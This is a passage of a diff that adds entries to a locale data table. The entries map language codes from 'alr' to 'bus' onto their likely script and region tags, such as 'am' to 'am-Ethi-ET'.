+ "alr": "alr-Cyrl-RU",
+ "alt": "alt-Cyrl-RU",
+ "alu": "alu-Latn-SB",
+ "alw": "alw-Ethi-ET",
+ "alx": "alx-Latn-PG",
+ "aly": "aly-Latn-AU",
+ "alz": "alz-Latn-CD",
+ "am": "am-Ethi-ET",
+ "ama": "ama-Latn-BR",
+ "amb": "amb-Latn-NG",
+ "amc": "amc-Latn-PE",
+ "ame": "ame-Latn-PE",
+ "amf": "amf-Latn-ET",
+ "amf-Ethi": "amf-Ethi-ET",
+ "amg": "amg-Latn-AU",
+ "ami": "ami-Latn-TW",
+ "amj": "amj-Latn-TD",
+ "amk": "amk-Latn-ID",
+ "amm": "amm-Latn-ZZ",
+ "amn": "amn-Latn-ZZ",
+ "amo": "amo-Latn-NG",
+ "amp": "amp-Latn-ZZ",
+ "amq": "amq-Latn-ID",
+ "amr": "amr-Latn-PE",
+ "ams": "ams-Jpan-JP",
+ "amt": "amt-Latn-PG",
+ "amu": "amu-Latn-MX",
+ "amv": "amv-Latn-ID",
+ "amw": "amw-Syrc-SY",
+ "amw-Arab": "amw-Arab-SY",
+ "amw-Armi": "amw-Armi-SY",
+ "amw-Latn": "amw-Latn-SY",
+ "amx": "amx-Latn-AU",
+ "amy": "amy-Latn-AU",
+ "amz": "amz-Latn-AU",
+ "an": "an-Latn-ES",
+ "ana": "ana-Latn-CO",
+ "anb": "anb-Latn-PE",
+ "anc": "anc-Latn-ZZ",
+ "and": "and-Latn-ID",
+ "ane": "ane-Latn-NC",
+ "anf": "anf-Latn-GH",
+ "ang": "ang-Latn-GB",
+ "anh": "anh-Latn-PG",
+ "ani": "ani-Cyrl-RU",
+ "anj": "anj-Latn-PG",
+ "ank": "ank-Latn-ZZ",
+ "anl": "anl-Latn-MM",
+ "anm": "anm-Latn-IN",
+ "ann": "ann-Latn-NG",
+ "ano": "ano-Latn-CO",
+ "anp": "anp-Deva-IN",
+ "anr": "anr-Deva-IN",
+ "ans": "ans-Latn-CO",
+ "ant": "ant-Latn-AU",
+ "anu": "anu-Ethi-ET",
+ "anu-Arab": "anu-Arab-SS",
+ "anu-Latn": "anu-Latn-SS",
+ "anv": "anv-Latn-CM",
+ "anw": "anw-Latn-NG",
+ "anx": "anx-Latn-PG",
+ "any": "any-Latn-ZZ",
+ "anz": "anz-Latn-PG",
+ "aoa": "aoa-Latn-ST",
+ "aob": "aob-Latn-PG",
+ "aoc": "aoc-Latn-VE",
+ "aod": "aod-Latn-PG",
+ "aoe": "aoe-Latn-PG",
+ "aof": "aof-Latn-PG",
+ "aog": "aog-Latn-PG",
+ "aoi": "aoi-Latn-AU",
+ "aoj": "aoj-Latn-ZZ",
+ "aok": "aok-Latn-NC",
+ "aol": "aol-Latn-ID",
+ "aom": "aom-Latn-ZZ",
+ "aon": "aon-Latn-PG",
+ "aor": "aor-Latn-VU",
+ "aos": "aos-Latn-ID",
+ "aot": "aot-Beng-BD",
+ "aot-Latn": "aot-Latn-IN",
+ "aox": "aox-Latn-GY",
+ "aoz": "aoz-Latn-ID",
+ "apb": "apb-Latn-SB",
+ "apc": "apc-Arab-SY",
+ "apd": "apd-Arab-TG",
+ "ape": "ape-Latn-ZZ",
+ "apf": "apf-Latn-PH",
+ "apg": "apg-Latn-ID",
+ "aph": "aph-Deva-NP",
+ "api": "api-Latn-BR",
+ "apj": "apj-Latn-US",
+ "apk": "apk-Latn-US",
+ "apl": "apl-Latn-US",
+ "apm": "apm-Latn-US",
+ "apn": "apn-Latn-BR",
+ "apo": "apo-Latn-PG",
+ "app": "app-Latn-VU",
+ "apr": "apr-Latn-ZZ",
+ "aps": "aps-Latn-ZZ",
+ "apt": "apt-Latn-IN",
+ "apu": "apu-Latn-BR",
+ "apv": "apv-Latn-BR",
+ "apw": "apw-Latn-US",
+ "apx": "apx-Latn-ID",
+ "apy": "apy-Latn-BR",
+ "apz": "apz-Latn-ZZ",
+ "aqc": "aqc-Cyrl-RU",
+ "aqd": "aqd-Latn-ML",
+ "aqg": "aqg-Latn-NG",
+ "aqk": "aqk-Latn-NG",
+ "aqm": "aqm-Latn-ID",
+ "aqn": "aqn-Latn-PH",
+ "aqr": "aqr-Latn-NC",
+ "aqt": "aqt-Latn-PY",
+ "aqz": "aqz-Latn-BR",
+ "ar": "ar-Arab-EG",
+ "arc": "arc-Armi-IR",
+ "arc-Nbat": "arc-Nbat-JO",
+ "arc-Palm": "arc-Palm-SY",
+ "ard": "ard-Latn-AU",
+ "are": "are-Latn-AU",
+ "arh": "arh-Latn-ZZ",
+ "ari": "ari-Latn-US",
+ "arj": "arj-Latn-BR",
+ "ark": "ark-Latn-BR",
+ "arl": "arl-Latn-PE",
+ "arn": "arn-Latn-CL",
+ "aro": "aro-Latn-BO",
+ "arp": "arp-Latn-US",
+ "arq": "arq-Arab-DZ",
+ "arr": "arr-Latn-BR",
+ "ars": "ars-Arab-SA",
+ "aru": "aru-Latn-BR",
+ "arw": "arw-Latn-SR",
+ "arx": "arx-Latn-BR",
+ "ary": "ary-Arab-MA",
+ "arz": "arz-Arab-EG",
+ "as": "as-Beng-IN",
+ "asa": "asa-Latn-TZ",
+ "asb": "asb-Latn-CA",
+ "asc": "asc-Latn-ID",
+ "ase": "ase-Sgnw-US",
+ "asg": "asg-Latn-ZZ",
+ "ash": "ash-Latn-PE",
+ "asi": "asi-Latn-ID",
+ "asj": "asj-Latn-CM",
+ "ask": "ask-Arab-AF",
+ "asl": "asl-Latn-ID",
+ "asn": "asn-Latn-BR",
+ "aso": "aso-Latn-ZZ",
+ "ass": "ass-Latn-CM",
+ "ast": "ast-Latn-ES",
+ "asu": "asu-Latn-BR",
+ "asv": "asv-Latn-CD",
+ "asx": "asx-Latn-PG",
+ "asy": "asy-Latn-ID",
+ "asz": "asz-Latn-ID",
+ "ata": "ata-Latn-ZZ",
+ "atb": "atb-Latn-CN",
+ "atb-Lisu": "atb-Lisu-CN",
+ "atc": "atc-Latn-PE",
+ "atd": "atd-Latn-PH",
+ "ate": "ate-Latn-PG",
+ "atg": "atg-Latn-ZZ",
+ "ati": "ati-Latn-CI",
+ "atj": "atj-Latn-CA",
+ "atk": "atk-Latn-PH",
+ "atl": "atl-Latn-PH",
+ "atm": "atm-Latn-PH",
+ "atn": "atn-Arab-IR",
+ "ato": "ato-Latn-CM",
+ "atp": "atp-Latn-PH",
+ "atq": "atq-Latn-ID",
+ "atr": "atr-Latn-BR",
+ "ats": "ats-Latn-US",
+ "att": "att-Latn-PH",
+ "atu": "atu-Latn-SS",
+ "atv": "atv-Cyrl-RU",
+ "atw": "atw-Latn-US",
+ "atx": "atx-Latn-BR",
+ "aty": "aty-Latn-VU",
+ "atz": "atz-Latn-PH",
+ "aua": "aua-Latn-SB",
+ "auc": "auc-Latn-EC",
+ "aud": "aud-Latn-SB",
+ "aug": "aug-Latn-BJ",
+ "auh": "auh-Latn-ZM",
+ "aui": "aui-Latn-PG",
+ "auj": "auj-Arab-LY",
+ "auj-Latn": "auj-Latn-LY",
+ "auj-Tfng": "auj-Tfng-LY",
+ "auk": "auk-Latn-PG",
+ "aul": "aul-Latn-VU",
+ "aum": "aum-Latn-NG",
+ "aun": "aun-Latn-PG",
+ "auo": "auo-Latn-NG",
+ "aup": "aup-Latn-PG",
+ "auq": "auq-Latn-ID",
+ "aur": "aur-Latn-PG",
+ "aut": "aut-Latn-PF",
+ "auu": "auu-Latn-ID",
+ "auw": "auw-Latn-ID",
+ "auy": "auy-Latn-ZZ",
+ "auz": "auz-Arab-UZ",
+ "av": "av-Cyrl-RU",
+ "avb": "avb-Latn-PG",
+ "avd": "avd-Arab-IR",
+ "avi": "avi-Latn-CI",
+ "avk": "avk-Latn-001",
+ "avl": "avl-Arab-ZZ",
+ "avm": "avm-Latn-AU",
+ "avn": "avn-Latn-ZZ",
+ "avo": "avo-Latn-BR",
+ "avs": "avs-Latn-PE",
+ "avt": "avt-Latn-ZZ",
+ "avu": "avu-Latn-ZZ",
+ "avv": "avv-Latn-BR",
+ "awa": "awa-Deva-IN",
+ "awb": "awb-Latn-ZZ",
+ "awc": "awc-Latn-NG",
+ "awe": "awe-Latn-BR",
+ "awg": "awg-Latn-AU",
+ "awh": "awh-Latn-ID",
+ "awi": "awi-Latn-PG",
+ "awk": "awk-Latn-AU",
+ "awm": "awm-Latn-PG",
+ "awn": "awn-Ethi-ET",
+ "awo": "awo-Latn-ZZ",
+ "awr": "awr-Latn-ID",
+ "aws": "aws-Latn-ID",
+ "awt": "awt-Latn-BR",
+ "awu": "awu-Latn-ID",
+ "awv": "awv-Latn-ID",
+ "aww": "aww-Latn-PG",
+ "awx": "awx-Latn-ZZ",
+ "awy": "awy-Latn-ID",
+ "axb": "axb-Latn-AR",
+ "axe": "axe-Latn-AU",
+ "axg": "axg-Latn-BR",
+ "axk": "axk-Latn-CF",
+ "axl": "axl-Latn-AU",
+ "axm": "axm-Armn-AM",
+ "axx": "axx-Latn-NC",
+ "ay": "ay-Latn-BO",
+ "aya": "aya-Latn-PG",
+ "ayb": "ayb-Latn-ZZ",
+ "ayc": "ayc-Latn-PE",
+ "ayd": "ayd-Latn-AU",
+ "aye": "aye-Latn-NG",
+ "ayg": "ayg-Latn-TG",
+ "ayh": "ayh-Arab-YE",
+ "ayi": "ayi-Latn-NG",
+ "ayk": "ayk-Latn-NG",
+ "ayl": "ayl-Arab-LY",
+ "ayn": "ayn-Arab-YE",
+ "ayo": "ayo-Latn-PY",
+ "ayp": "ayp-Arab-IQ",
+ "ayq": "ayq-Latn-PG",
+ "ays": "ays-Latn-PH",
+ "ayt": "ayt-Latn-PH",
+ "ayu": "ayu-Latn-NG",
+ "ayz": "ayz-Latn-ID",
+ "az": "az-Latn-AZ",
+ "az-Arab": "az-Arab-IR",
+ "az-IQ": "az-Arab-IQ",
+ "az-IR": "az-Arab-IR",
+ "az-RU": "az-Cyrl-RU",
+ "azb": "azb-Arab-IR",
+ "azb-Cyrl": "azb-Cyrl-AZ",
+ "azb-Latn": "azb-Latn-AZ",
+ "azd": "azd-Latn-MX",
+ "azg": "azg-Latn-MX",
+ "azm": "azm-Latn-MX",
+ "azn": "azn-Latn-MX",
+ "azo": "azo-Latn-CM",
+ "azt": "azt-Latn-PH",
+ "azz": "azz-Latn-MX",
+ "ba": "ba-Cyrl-RU",
+ "baa": "baa-Latn-SB",
+ "bab": "bab-Latn-GW",
+ "bac": "bac-Latn-ID",
+ "bae": "bae-Latn-VE",
+ "baf": "baf-Latn-CM",
+ "bag": "bag-Latn-CM",
+ "bah": "bah-Latn-BS",
+ "baj": "baj-Latn-ID",
+ "bal": "bal-Arab-PK",
+ "ban": "ban-Latn-ID",
+ "bao": "bao-Latn-CO",
+ "bap": "bap-Deva-NP",
+ "bar": "bar-Latn-AT",
+ "bas": "bas-Latn-CM",
+ "bau": "bau-Latn-NG",
+ "bav": "bav-Latn-ZZ",
+ "baw": "baw-Latn-CM",
+ "bax": "bax-Bamu-CM",
+ "bay": "bay-Latn-ID",
+ "bba": "bba-Latn-ZZ",
+ "bbb": "bbb-Latn-ZZ",
+ "bbc": "bbc-Latn-ID",
+ "bbd": "bbd-Latn-ZZ",
+ "bbe": "bbe-Latn-CD",
+ "bbf": "bbf-Latn-PG",
+ "bbg": "bbg-Latn-GA",
+ "bbi": "bbi-Latn-CM",
+ "bbj": "bbj-Latn-CM",
+ "bbk": "bbk-Latn-CM",
+ "bbl": "bbl-Geor-GE",
+ "bbm": "bbm-Latn-CD",
+ "bbn": "bbn-Latn-PG",
+ "bbo": "bbo-Latn-BF",
+ "bbp": "bbp-Latn-ZZ",
+ "bbq": "bbq-Latn-CM",
+ "bbr": "bbr-Latn-ZZ",
+ "bbs": "bbs-Latn-NG",
+ "bbt": "bbt-Latn-NG",
+ "bbu": "bbu-Latn-NG",
+ "bbv": "bbv-Latn-PG",
+ "bbw": "bbw-Latn-CM",
+ "bbx": "bbx-Latn-CM",
+ "bby": "bby-Latn-CM",
+ "bca": "bca-Latn-CN",
+ "bca-Hani": "bca-Hani-CN",
+ "bcb": "bcb-Latn-SN",
+ "bcd": "bcd-Latn-ID",
+ "bce": "bce-Latn-CM",
+ "bcf": "bcf-Latn-ZZ",
+ "bcg": "bcg-Latn-GN",
+ "bch": "bch-Latn-ZZ",
+ "bci": "bci-Latn-CI",
+ "bcj": "bcj-Latn-AU",
+ "bck": "bck-Latn-AU",
+ "bcm": "bcm-Latn-ZZ",
+ "bcn": "bcn-Latn-ZZ",
+ "bco": "bco-Latn-ZZ",
+ "bcp": "bcp-Latn-CD",
+ "bcq": "bcq-Ethi-ZZ",
+ "bcr": "bcr-Latn-CA",
+ "bcs": "bcs-Latn-NG",
+ "bct": "bct-Latn-CD",
+ "bcu": "bcu-Latn-ZZ",
+ "bcv": "bcv-Latn-NG",
+ "bcw": "bcw-Latn-CM",
+ "bcy": "bcy-Latn-NG",
+ "bcz": "bcz-Latn-SN",
+ "bda": "bda-Latn-SN",
+ "bdb": "bdb-Latn-ID",
+ "bdc": "bdc-Latn-CO",
+ "bdd": "bdd-Latn-ZZ",
+ "bde": "bde-Latn-NG",
+ "bdf": "bdf-Latn-PG",
+ "bdg": "bdg-Latn-MY",
+ "bdh": "bdh-Latn-SS",
+ "bdi": "bdi-Latn-SD",
+ "bdj": "bdj-Latn-SS",
+ "bdk": "bdk-Latn-AZ",
+ "bdl": "bdl-Latn-ID",
+ "bdm": "bdm-Latn-TD",
+ "bdn": "bdn-Latn-CM",
+ "bdo": "bdo-Latn-TD",
+ "bdp": "bdp-Latn-TZ",
+ "bdq": "bdq-Latn-VN",
+ "bdr": "bdr-Latn-MY",
+ "bds": "bds-Latn-TZ",
+ "bdt": "bdt-Latn-CF",
+ "bdu": "bdu-Latn-CM",
+ "bdv": "bdv-Orya-IN",
+ "bdw": "bdw-Latn-ID",
+ "bdx": "bdx-Latn-ID",
+ "bdy": "bdy-Latn-AU",
+ "bdz": "bdz-Arab-PK",
+ "be": "be-Cyrl-BY",
+ "bea": "bea-Latn-CA",
+ "bea-Cans": "bea-Cans-CA",
+ "beb": "beb-Latn-CM",
+ "bec": "bec-Latn-CM",
+ "bed": "bed-Latn-ID",
+ "bee": "bee-Deva-IN",
+ "bef": "bef-Latn-ZZ",
+ "beh": "beh-Latn-ZZ",
+ "bei": "bei-Latn-ID",
+ "bej": "bej-Arab-SD",
+ "bek": "bek-Latn-PG",
+ "bem": "bem-Latn-ZM",
+ "beo": "beo-Latn-PG",
+ "bep": "bep-Latn-ID",
+ "beq": "beq-Latn-CG",
+ "bes": "bes-Latn-TD",
+ "bet": "bet-Latn-ZZ",
+ "beu": "beu-Latn-ID",
+ "bev": "bev-Latn-CI",
+ "bew": "bew-Latn-ID",
+ "bex": "bex-Latn-ZZ",
+ "bey": "bey-Latn-PG",
+ "bez": "bez-Latn-TZ",
+ "bfa": "bfa-Latn-SS",
+ "bfa-Arab": "bfa-Arab-SS",
+ "bfb": "bfb-Deva-IN",
+ "bfc": "bfc-Latn-CN",
+ "bfd": "bfd-Latn-CM",
+ "bfe": "bfe-Latn-ID",
+ "bff": "bff-Latn-CF",
+ "bfg": "bfg-Latn-ID",
+ "bfh": "bfh-Latn-PG",
+ "bfj": "bfj-Latn-CM",
+ "bfl": "bfl-Latn-CF",
+ "bfm": "bfm-Latn-CM",
+ "bfn": "bfn-Latn-TL",
+ "bfo": "bfo-Latn-BF",
+ "bfp": "bfp-Latn-CM",
+ "bfq": "bfq-Taml-IN",
+ "bfs": "bfs-Latn-CN",
+ "bfs-Hani": "bfs-Hani-CN",
+ "bft": "bft-Arab-PK",
+ "bfu": "bfu-Tibt-IN",
+ "bfu-Takr": "bfu-Takr-IN",
+ "bfw": "bfw-Orya-IN",
+ "bfx": "bfx-Latn-PH",
+ "bfy": "bfy-Deva-IN",
+ "bfz": "bfz-Deva-IN",
+ "bg": "bg-Cyrl-BG",
+ "bga": "bga-Latn-NG",
+ "bgb": "bgb-Latn-ID",
+ "bgc": "bgc-Deva-IN",
+ "bgd": "bgd-Deva-IN",
+ "bgf": "bgf-Latn-CM",
+ "bgg": "bgg-Latn-IN",
+ "bgi": "bgi-Latn-PH",
+ "bgj": "bgj-Latn-CM",
+ "bgn": "bgn-Arab-PK",
+ "bgo": "bgo-Latn-GN",
+ "bgp": "bgp-Arab-PK",
+ "bgq": "bgq-Deva-IN",
+ "bgr": "bgr-Latn-IN",
+ "bgs": "bgs-Latn-PH",
+ "bgt": "bgt-Latn-SB",
+ "bgu": "bgu-Latn-NG",
+ "bgv": "bgv-Latn-ID",
+ "bgw": "bgw-Deva-IN",
+ "bgx": "bgx-Grek-TR",
+ "bgy": "bgy-Latn-ID",
+ "bgz": "bgz-Latn-ID",
+ "bha": "bha-Deva-IN",
+ "bhb": "bhb-Deva-IN",
+ "bhc": "bhc-Latn-ID",
+ "bhd": "bhd-Deva-IN",
+ "bhd-Arab": "bhd-Arab-IN",
+ "bhd-Takr": "bhd-Takr-IN",
+ "bhe": "bhe-Arab-PK",
+ "bhf": "bhf-Latn-PG",
+ "bhg": "bhg-Latn-ZZ",
+ "bhh": "bhh-Cyrl-IL",
+ "bhh-Hebr": "bhh-Hebr-IL",
+ "bhh-Latn": "bhh-Latn-IL",
+ "bhi": "bhi-Deva-IN",
+ "bhj": "bhj-Deva-NP",
+ "bhl": "bhl-Latn-ZZ",
+ "bhm": "bhm-Arab-OM",
+ "bhn": "bhn-Syrc-GE",
+ "bho": "bho-Deva-IN",
+ "bhp": "bhp-Latn-ID",
+ "bhq": "bhq-Latn-ID",
+ "bhr": "bhr-Latn-MG",
+ "bhs": "bhs-Latn-CM",
+ "bht": "bht-Takr-IN",
+ "bht-Deva": "bht-Deva-IN",
+ "bht-Latn": "bht-Latn-IN",
+ "bhu": "bhu-Deva-IN",
+ "bhv": "bhv-Latn-ID",
+ "bhw": "bhw-Latn-ID",
+ "bhy": "bhy-Latn-ZZ",
+ "bhz": "bhz-Latn-ID",
+ "bi": "bi-Latn-VU",
+ "bia": "bia-Latn-AU",
+ "bib": "bib-Latn-ZZ",
+ "bid": "bid-Latn-TD",
+ "bie": "bie-Latn-PG",
+ "bif": "bif-Latn-GW",
+ "big": "big-Latn-ZZ",
+ "bik": "bik-Latn-PH",
+ "bil": "bil-Latn-NG",
+ "bim": "bim-Latn-ZZ",
+ "bin": "bin-Latn-NG",
+ "bio": "bio-Latn-ZZ",
+ "bip": "bip-Latn-CD",
+ "biq": "biq-Latn-ZZ",
+ "bir": "bir-Latn-PG",
+ "bit": "bit-Latn-PG",
+ "biu": "biu-Latn-IN",
+ "biv": "biv-Latn-GH",
+ "biw": "biw-Latn-CM",
+ "biy": "biy-Deva-IN",
+ "biz": "biz-Latn-CD",
+ "bja": "bja-Latn-CD",
+ "bjb": "bjb-Latn-AU",
+ "bjc": "bjc-Latn-PG",
+ "bjf": "bjf-Syrc-IL",
+ "bjg": "bjg-Latn-GW",
+ "bjh": "bjh-Latn-ZZ",
+ "bji": "bji-Ethi-ZZ",
+ "bjj": "bjj-Deva-IN",
+ "bjk": "bjk-Latn-PG",
+ "bjl": "bjl-Latn-PG",
+ "bjm": "bjm-Arab-IQ",
+ "bjn": "bjn-Latn-ID",
+ "bjo": "bjo-Latn-ZZ",
+ "bjp": "bjp-Latn-PG",
+ "bjr": "bjr-Latn-ZZ",
+ "bjs": "bjs-Latn-BB",
+ "bjt": "bjt-Latn-SN",
+ "bju": "bju-Latn-CM",
+ "bjv": "bjv-Latn-TD",
+ "bjw": "bjw-Latn-CI",
+ "bjx": "bjx-Latn-PH",
+ "bjy": "bjy-Latn-AU",
+ "bjz": "bjz-Latn-ZZ",
+ "bka": "bka-Latn-NG",
+ "bkc": "bkc-Latn-ZZ",
+ "bkd": "bkd-Latn-PH",
+ "bkf": "bkf-Latn-CD",
+ "bkg": "bkg-Latn-CF",
+ "bkh": "bkh-Latn-CM",
+ "bki": "bki-Latn-VU",
+ "bkj": "bkj-Latn-CF",
+ "bkl": "bkl-Latn-ID",
+ "bkm": "bkm-Latn-CM",
+ "bkn": "bkn-Latn-ID",
+ "bko": "bko-Latn-CM",
+ "bkp": "bkp-Latn-CD",
+ "bkq": "bkq-Latn-ZZ",
+ "bkr": "bkr-Latn-ID",
+ "bks": "bks-Latn-PH",
+ "bkt": "bkt-Latn-CD",
+ "bku": "bku-Latn-PH",
+ "bkv": "bkv-Latn-ZZ",
+ "bkw": "bkw-Latn-CG",
+ "bkx": "bkx-Latn-TL",
+ "bky": "bky-Latn-NG",
+ "bkz": "bkz-Latn-ID",
+ "bla": "bla-Latn-CA",
+ "blb": "blb-Latn-SB",
+ "blc": "blc-Latn-CA",
+ "bld": "bld-Latn-ID",
+ "ble": "ble-Latn-GW",
+ "blf": "blf-Latn-ID",
+ "blg": "iba-Latn-MY",
+ "blh": "blh-Latn-LR",
+ "bli": "bli-Latn-CD",
+ "blj": "blj-Latn-ID",
+ "blk": "blk-Mymr-MM",
+ "blm": "blm-Latn-SS",
+ "bln": "bln-Latn-PH",
+ "blo": "blo-Latn-BJ",
+ "blp": "blp-Latn-SB",
+ "blq": "blq-Latn-PG",
+ "blr": "blr-Latn-CN",
+ "blr-Tale": "blr-Tale-CN",
+ "blr-Thai": "blr-Thai-TH",
+ "bls": "bls-Latn-ID",
+ "blt": "blt-Tavt-VN",
+ "blv": "blv-Latn-AO",
+ "blw": "blw-Latn-PH",
+ "blx": "blx-Latn-PH",
+ "bly": "bly-Latn-BJ",
+ "blz": "blz-Latn-ID",
+ "bm": "bm-Latn-ML",
+ "bma": "bma-Latn-NG",
+ "bmb": "bmb-Latn-CD",
+ "bmc": "bmc-Latn-PG",
+ "bmd": "bmd-Latn-GN",
+ "bme": "bme-Latn-CF",
+ "bmf": "bmf-Latn-SL",
+ "bmg": "bmg-Latn-CD",
+ "bmh": "bmh-Latn-ZZ",
+ "bmi": "bmi-Latn-TD",
+ "bmj": "bmj-Deva-NP",
+ "bmk": "bmk-Latn-ZZ",
+ "bml": "bml-Latn-CD",
+ "bmm": "bmm-Latn-MG",
+ "bmn": "bmn-Latn-PG",
+ "bmo": "bmo-Latn-CM",
+ "bmp": "bmp-Latn-PG",
+ "bmq": "bmq-Latn-ML",
+ "bmr": "bmr-Latn-CO",
+ "bms": "bms-Latn-NE",
+ "bmu": "bmu-Latn-ZZ",
+ "bmv": "bmv-Latn-CM",
+ "bmw": "bmw-Latn-CG",
+ "bmx": "bmx-Latn-PG",
+ "bmz": "bmz-Latn-PG",
+ "bn": "bn-Beng-BD",
+ "bna": "bna-Latn-ID",
+ "bnb": "bnb-Latn-MY",
+ "bnc": "bnc-Latn-PH",
+ "bnd": "bnd-Latn-ID",
+ "bne": "bne-Latn-ID",
+ "bnf": "bnf-Latn-ID",
+ "bng": "bng-Latn-ZZ",
+ "bni": "bni-Latn-CD",
+ "bnj": "bnj-Latn-PH",
+ "bnk": "bnk-Latn-VU",
+ "bnm": "bnm-Latn-ZZ",
+ "bnn": "bnn-Latn-TW",
+ "bno": "bno-Latn-PH",
+ "bnp": "bnp-Latn-ZZ",
+ "bnq": "bnq-Latn-ID",
+ "bnr": "bnr-Latn-VU",
+ "bns": "bns-Deva-IN",
+ "bnu": "bnu-Latn-ID",
+ "bnv": "bnv-Latn-ID",
+ "bnw": "bnw-Latn-PG",
+ "bnx": "bnx-Latn-CD",
+ "bny": "bny-Latn-MY",
+ "bnz": "bnz-Latn-CM",
+ "bo": "bo-Tibt-CN",
+ "boa": "boa-Latn-PE",
+ "bob": "bob-Latn-KE",
+ "boe": "boe-Latn-CM",
+ "bof": "bof-Latn-BF",
+ "boh": "boh-Latn-CD",
+ "boj": "boj-Latn-ZZ",
+ "bok": "bok-Latn-CG",
+ "bol": "bol-Latn-NG",
+ "bom": "bom-Latn-ZZ",
+ "bon": "bon-Latn-ZZ",
+ "boo": "boo-Latn-ML",
+ "bop": "bop-Latn-PG",
+ "boq": "boq-Latn-PG",
+ "bor": "bor-Latn-BR",
+ "bot": "bot-Latn-SS",
+ "bou": "bou-Latn-TZ",
+ "bov": "bov-Latn-GH",
+ "bow": "bow-Latn-PG",
+ "box": "box-Latn-BF",
+ "boy": "boy-Latn-CF",
+ "boz": "boz-Latn-ML",
+ "boz-Arab": "boz-Arab-ML",
+ "bpa": "bpa-Latn-VU",
+ "bpc": "bpc-Latn-CM",
+ "bpd": "bpd-Latn-CF",
+ "bpe": "bpe-Latn-PG",
+ "bpg": "bpg-Latn-ID",
+ "bph": "bph-Cyrl-RU",
+ "bpi": "bpi-Latn-PG",
+ "bpj": "bpj-Latn-CD",
+ "bpk": "bpk-Latn-NC",
+ "bpl": "bpl-Latn-AU",
+ "bpm": "bpm-Latn-PG",
+ "bpo": "bpo-Latn-ID",
+ "bpp": "bpp-Latn-ID",
+ "bpq": "bpq-Latn-ID",
+ "bpr": "bpr-Latn-PH",
+ "bps": "bps-Latn-PH",
+ "bpt": "bpt-Latn-AU",
+ "bpu": "bpu-Latn-PG",
+ "bpv": "bpv-Latn-ID",
+ "bpw": "bpw-Latn-PG",
+ "bpx": "bpx-Deva-IN",
+ "bpy": "bpy-Beng-IN",
+ "bpz": "bpz-Latn-ID",
+ "bqa": "bqa-Latn-BJ",
+ "bqb": "bqb-Latn-ID",
+ "bqc": "bqc-Latn-ZZ",
+ "bqd": "bqd-Latn-CM",
+ "bqf": "bqf-Latn-GN",
+ "bqf-Arab": "bqf-Arab-GN",
+ "bqg": "bqg-Latn-TG",
+ "bqi": "bqi-Arab-IR",
+ "bqj": "bqj-Latn-SN",
+ "bqk": "bqk-Latn-CF",
+ "bql": "bql-Latn-PG",
+ "bqm": "bqm-Latn-CM",
+ "bqo": "bqo-Latn-CM",
+ "bqp": "bqp-Latn-ZZ",
+ "bqq": "bqq-Latn-ID",
+ "bqr": "bqr-Latn-ID",
+ "bqs": "bqs-Latn-PG",
+ "bqt": "bqt-Latn-CM",
+ "bqu": "bqu-Latn-CD",
+ "bqv": "bqv-Latn-CI",
+ "bqw": "bqw-Latn-NG",
+ "bqx": "bqx-Latn-NG",
+ "bqz": "bqz-Latn-CM",
+ "br": "br-Latn-FR",
+ "bra": "bra-Deva-IN",
+ "brb": "brb-Khmr-KH",
+ "brb-Laoo": "brb-Laoo-LA",
+ "brb-Latn": "brb-Latn-VN",
+ "brc": "brc-Latn-GY",
+ "brd": "brd-Deva-NP",
+ "brf": "brf-Latn-CD",
+ "brg": "brg-Latn-BO",
+ "brh": "brh-Arab-PK",
+ "bri": "bri-Latn-CM",
+ "brj": "brj-Latn-VU",
+ "brk": "brk-Arab-SD",
+ "brl": "brl-Latn-BW",
+ "brm": "brm-Latn-CD",
+ "brn": "brn-Latn-CR",
+ "brp": "brp-Latn-ID",
+ "brq": "brq-Latn-PG",
+ "brr": "brr-Latn-SB",
+ "brs": "brs-Latn-ID",
+ "brt": "brt-Latn-NG",
+ "bru": "bru-Latn-VN",
+ "bru-Laoo": "bru-Laoo-LA",
+ "bru-Thai": "bru-Thai-LA",
+ "brv": "brv-Laoo-LA",
+ "brx": "brx-Deva-IN",
+ "bry": "bry-Latn-PG",
+ "brz": "brz-Latn-ZZ",
+ "bs": "bs-Latn-BA",
+ "bsa": "bsa-Latn-ID",
+ "bsb": "bsb-Latn-BN",
+ "bsc": "bsc-Latn-SN",
+ "bse": "bse-Latn-CM",
+ "bsf": "bsf-Latn-NG",
+ "bsh": "bsh-Arab-AF",
+ "bsi": "bsi-Latn-CM",
+ "bsj": "bsj-Latn-ZZ",
+ "bsk": "bsk-Arab-PK",
+ "bsk-Latn": "bsk-Latn-PK",
+ "bsl": "bsl-Latn-NG",
+ "bsm": "bsm-Latn-ID",
+ "bsn": "bsn-Latn-CO",
+ "bso": "bso-Latn-TD",
+ "bsp": "bsp-Latn-GN",
+ "bsq": "bsq-Bass-LR",
+ "bsr": "bsr-Latn-NG",
+ "bss": "bss-Latn-CM",
+ "bst": "bst-Ethi-ZZ",
+ "bsu": "bsu-Latn-ID",
+ "bsv": "bsv-Latn-GN",
+ "bsv-Arab": "bsv-Arab-GN",
+ "bsw": "bsw-Latn-ET",
+ "bsw-Ethi": "bsw-Ethi-ET",
+ "bsx": "bsx-Latn-NG",
+ "bsy": "bsy-Latn-MY",
+ "bta": "bta-Latn-NG",
+ "btc": "btc-Latn-CM",
+ "btd": "btd-Batk-ID",
+ "bte": "bte-Latn-NG",
+ "btf": "btf-Latn-TD",
+ "btg": "btg-Latn-CI",
+ "bth": "bth-Latn-MY",
+ "bti": "bti-Latn-ID",
+ "btj": "btj-Latn-ID",
+ "btm": "btm-Batk-ID",
+ "btn": "btn-Latn-PH",
+ "bto": "bto-Latn-PH",
+ "btp": "btp-Latn-PG",
+ "btq": "btq-Latn-MY",
+ "btr": "btr-Latn-VU",
+ "bts": "bts-Latn-ID",
+ "bts-Batk": "bts-Batk-ID",
+ "btt": "btt-Latn-ZZ",
+ "btu": "btu-Latn-NG",
+ "btv": "btv-Deva-PK",
+ "btw": "btw-Latn-PH",
+ "btx": "btx-Latn-ID",
+ "btx-Batk": "btx-Batk-ID",
+ "bty": "bty-Latn-ID",
+ "btz": "btz-Latn-ID",
+ "bua": "bua-Cyrl-RU",
+ "bub": "bub-Latn-TD",
+ "buc": "buc-Latn-YT",
+ "bud": "bud-Latn-ZZ",
+ "bue": "bue-Latn-CA",
+ "buf": "buf-Latn-CD",
+ "bug": "bug-Latn-ID",
+ "buh": "buh-Latn-CN",
+ "bui": "bui-Latn-CG",
+ "buj": "buj-Latn-NG",
+ "buk": "buk-Latn-ZZ",
+ "bum": "bum-Latn-CM",
+ "bun": "bun-Latn-SL",
+ "buo": "buo-Latn-ZZ",
+ "bup": "bup-Latn-ID",
+ "buq": "buq-Latn-PG",
+ "bus": "bus-Latn-ZZ",
